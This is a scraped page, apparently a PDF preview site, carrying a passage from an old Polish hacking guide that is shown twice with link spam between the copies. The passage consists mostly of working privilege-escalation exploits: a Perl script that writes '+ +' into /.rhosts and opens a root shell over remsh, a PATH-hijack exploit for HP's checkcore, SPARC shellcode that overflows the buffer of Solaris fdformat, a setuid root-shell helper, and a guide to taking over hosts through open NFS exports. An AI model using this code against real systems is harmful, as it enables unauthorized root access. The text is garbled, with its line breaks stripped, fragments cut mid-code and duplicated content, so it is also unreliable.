[ Pobierz całość w formacie PDF ]
.";}close(S);$n=0;while($n++<6) {print "\nOK.";last if (-f "/.rhosts");sleep 1;}print "\n";open(R,">>/.rhosts");print R "+ +\n";close(R);print "Testing out your root shell.\n";system("remsh $host -l root sh -i");exit;STDOUT->autoflush();if ($child = fork) {while (<>) { print S; }sleep 3;do dokill();} else {while () { print; }}close(S);exit;------------------------------------------------------------------------------a jak nie to sprobuj tego.------------------------------------------------------------------------------#!/bin/ksh# SOD (as of 06/11/96)# same sorta bug, different file.if [ ! -x /usr/remwatch/bin/fmon/checkcore ]thenecho This is an exploit for the checkcore utility internal toecho HP\'s Remote Watch series of programs.echo The checkcore utility doesn\'t appear to be on your system.echo MooexitfiPGM=$*if [ -z "${PGM}" ]thenPROGGIE=`basename $0`echo "${PROGGIE}: I will run a shell for you"PGM="/bin/ksh -i"fiTTY=`tty`echo '#!/bin/ksh' > /tmp/findecho "${PGM} >> ${TTY} 2>&1" >> /tmp/findchmod 777 /tmp/findPATH=/tmp:$PATHexport PATH/usr/remwatch/bin/fmon/checkcore > /dev/null 2>&1rm /tmp/find------------------------------------------------------------------------------60 Podmontowywanie shelli : P0WERJezeli system zbiorow moze byc eksportowany bez ograniczen kazdy mozezdalnie sterowac plikami systemowymi lub uzytkownikow i pozniej przejacmaszyne.Pomysl, mozesz zastapic.rhosts lub.forward.Komenda "showmount" pokaze co eksportujedany host.%/usr/etc/showmount -e hostnameexport list for hostname:/usr hosta:hostb:hostc/usr/local (everyone)Oto przyklad# showmount -e doh.victim.com/usr (everyone)/export/lamer lamer.softel.elblag.pl/export/shit shit95.micro$oft.com ble.ble.net.pl{ /katalog -access=host }jezeli po katalogu nie ma niczego, to oznacza to, ze mona go eksportowacz kazdego servera, w przeciwnym razie pisze kto moze eksportowac danykatalog.(jezeli idzie o szczegoly to ustawienia tej opcji znajdziesz w/etc/exports)Ale dobra przejdzmydo naszego przykladu.Co stad wiemy?Po primo: kazdy moze domontowac sie do /usrPo sekundo: /export/lamer mozna montowac tylko z softel'a itd.Prawdopodobnie czasem mozna dowiedziec sie czy mamy dostep do read/writei czy przez domontowane konto mamt dostep superusera.Oto co jak rozszyfrowac /etc/exportsnothing => Anyone, anywhere can mount this"(,,)" => Anyone, anywhere can mount this"(hostname,,)" => Anyone on that host can mount this"(,username,)" => username on any host can mount this"ngname (-,-,-)" => No one, no host, no NIS domain can mountthisServer's own hostname => an attacker can use a vulnerabilityin the portmapper so that the server thinks that a remoterequest is a local oneMisspellings => Regarded as an empty NetGroup61 fdformat buffer overflow bug SunOS 5.3-5 : P0WERBug wykorzystuje to ze fdformat chodzi jako root, przpelnia bufor no i maszroota.(Nie chce mi sie rozpisywac)Znalezione przez Cristian Schipor.------------------------- lion25.c -------------------------------/*Solaris 2.5.1 - this exploited was compiled on Solaris2.4 and tested on2.5.1*/#include#include#include#include#define BUF_LENGTH 364#define EXTRA 400#define STACK_OFFSET 704#define SPARC_NOP 0xa61cc013u_char sparc_shellcode[] ="\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xda\xdc\xae\x15\xe3\x68""\x90\x0b\x80\x0e\x92\x03\xa0\x0c\x94\x1a\x80\x0a\x9c\x03\xa0\x14""\xec\x3b\xbf\xec\xc0\x23\xbf\xf4\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc""\x82\x10\x20\x3b\x91\xd0\x20\x08\x90\x1b\xc0\x0f\x82\x10\x20\x01""\x91\xd0\x20\x08";u_long get_sp(void){__asm__("mov %sp,%i0 \n");}void main(int argc, char *argv[]){char buf[BUF_LENGTH + EXTRA + 8];long targ_addr;u_long *long_p;u_char *char_p;int i, code_length = strlen(sparc_shellcode),dso=0;if(argc > 1) dso=atoi(argv[1]);long_p =(u_long *) buf ;targ_addr = get_sp() - STACK_OFFSET - dso;for (i = 0; i < (BUF_LENGTH - code_length) / sizeof(u_long); i++)*long_p++ = SPARC_NOP;char_p = (u_char *) long_p;for (i = 0; i < code_length; i++)*char_p++ = sparc_shellcode[i];long_p = (u_long *) char_p;for (i = 0; i < EXTRA / sizeof(u_long); i++)*long_p++ =targ_addr;printf("Jumping to address 0x%lx B[%d] E[%d] SO[%d]\n",targ_addr,BUF_LENGTH,EXTRA,STACK_OFFSET);execl("/bin/fdformat", "fdformat", & buf[1],(char *) 0);perror("execl failed");}----------------------- end of lion25.c --------------------------62 Jak zdobyc roota za pomoca ftp : BANANNajpierw skompiluj ponizszy exploit i nazwij go suidroot.cKompilacja gcc suidroot.c -o suidrootmain() {setuid(0);seteuid(0);system("cp /bin/sh /tmp/suidroot");system("chmod a+rwxs /tmp/suidroot");}Teraz stworz skrypt o nazwie root [ Pobierz całość w formacie PDF ]
zanotowane.pl doc.pisz.pl pdf.pisz.pl trzylatki.xlx.pl
.";}close(S);$n=0;while($n++<6) {print "\nOK.";last if (-f "/.rhosts");sleep 1;}print "\n";open(R,">>/.rhosts");print R "+ +\n";close(R);print "Testing out your root shell.\n";system("remsh $host -l root sh -i");exit;STDOUT->autoflush();if ($child = fork) {while (<>) { print S; }sleep 3;do dokill();} else {while () { print; }}close(S);exit;------------------------------------------------------------------------------a jak nie to sprobuj tego.------------------------------------------------------------------------------#!/bin/ksh# SOD (as of 06/11/96)# same sorta bug, different file.if [ ! -x /usr/remwatch/bin/fmon/checkcore ]thenecho This is an exploit for the checkcore utility internal toecho HP\'s Remote Watch series of programs.echo The checkcore utility doesn\'t appear to be on your system.echo MooexitfiPGM=$*if [ -z "${PGM}" ]thenPROGGIE=`basename $0`echo "${PROGGIE}: I will run a shell for you"PGM="/bin/ksh -i"fiTTY=`tty`echo '#!/bin/ksh' > /tmp/findecho "${PGM} >> ${TTY} 2>&1" >> /tmp/findchmod 777 /tmp/findPATH=/tmp:$PATHexport PATH/usr/remwatch/bin/fmon/checkcore > /dev/null 2>&1rm /tmp/find------------------------------------------------------------------------------60 Podmontowywanie shelli : P0WERJezeli system zbiorow moze byc eksportowany bez ograniczen kazdy mozezdalnie sterowac plikami systemowymi lub uzytkownikow i pozniej przejacmaszyne.Pomysl, mozesz zastapic.rhosts lub.forward.Komenda "showmount" pokaze co eksportujedany host.%/usr/etc/showmount -e hostnameexport list for hostname:/usr hosta:hostb:hostc/usr/local (everyone)Oto przyklad# showmount -e doh.victim.com/usr (everyone)/export/lamer lamer.softel.elblag.pl/export/shit shit95.micro$oft.com ble.ble.net.pl{ /katalog -access=host }jezeli po katalogu nie ma niczego, to oznacza to, ze mona go eksportowacz kazdego servera, w przeciwnym razie pisze kto moze eksportowac danykatalog.(jezeli idzie o szczegoly to ustawienia tej opcji znajdziesz w/etc/exports)Ale dobra przejdzmydo naszego przykladu.Co stad wiemy?Po primo: kazdy moze domontowac sie do /usrPo sekundo: /export/lamer mozna montowac tylko z softel'a itd.Prawdopodobnie czasem mozna dowiedziec sie czy mamy dostep do read/writei czy przez domontowane konto mamt dostep superusera.Oto co jak rozszyfrowac /etc/exportsnothing => Anyone, anywhere can mount this"(,,)" => Anyone, anywhere can mount this"(hostname,,)" => Anyone on that host can mount this"(,username,)" => username on any host can mount this"ngname (-,-,-)" => No one, no host, no NIS domain can mountthisServer's own hostname => an attacker can use a vulnerabilityin the portmapper so that the server thinks that a remoterequest is a local oneMisspellings => Regarded as an empty NetGroup61 fdformat buffer overflow bug SunOS 5.3-5 : P0WERBug wykorzystuje to ze fdformat chodzi jako root, przpelnia bufor no i maszroota.(Nie chce mi sie rozpisywac)Znalezione przez Cristian Schipor.------------------------- lion25.c -------------------------------/*Solaris 2.5.1 - this exploited was compiled on Solaris2.4 and tested on2.5.1*/#include#include#include#include#define BUF_LENGTH 364#define EXTRA 400#define STACK_OFFSET 704#define SPARC_NOP 0xa61cc013u_char sparc_shellcode[] ="\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xda\xdc\xae\x15\xe3\x68""\x90\x0b\x80\x0e\x92\x03\xa0\x0c\x94\x1a\x80\x0a\x9c\x03\xa0\x14""\xec\x3b\xbf\xec\xc0\x23\xbf\xf4\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc""\x82\x10\x20\x3b\x91\xd0\x20\x08\x90\x1b\xc0\x0f\x82\x10\x20\x01""\x91\xd0\x20\x08";u_long get_sp(void){__asm__("mov %sp,%i0 \n");}void main(int argc, char *argv[]){char buf[BUF_LENGTH + EXTRA + 8];long targ_addr;u_long *long_p;u_char *char_p;int i, code_length = strlen(sparc_shellcode),dso=0;if(argc > 1) dso=atoi(argv[1]);long_p =(u_long *) buf ;targ_addr = get_sp() - STACK_OFFSET - dso;for (i = 0; i < (BUF_LENGTH - code_length) / sizeof(u_long); i++)*long_p++ = SPARC_NOP;char_p = (u_char *) long_p;for (i = 0; i < code_length; i++)*char_p++ = sparc_shellcode[i];long_p = (u_long *) char_p;for (i = 0; i < EXTRA / sizeof(u_long); i++)*long_p++ =targ_addr;printf("Jumping to address 0x%lx B[%d] E[%d] SO[%d]\n",targ_addr,BUF_LENGTH,EXTRA,STACK_OFFSET);execl("/bin/fdformat", "fdformat", & buf[1],(char *) 0);perror("execl failed");}----------------------- end of lion25.c --------------------------62 Jak zdobyc roota za pomoca ftp : BANANNajpierw skompiluj ponizszy exploit i nazwij go suidroot.cKompilacja gcc suidroot.c -o suidrootmain() {setuid(0);seteuid(0);system("cp /bin/sh /tmp/suidroot");system("chmod a+rwxs /tmp/suidroot");}Teraz stworz skrypt o nazwie root [ Pobierz całość w formacie PDF ]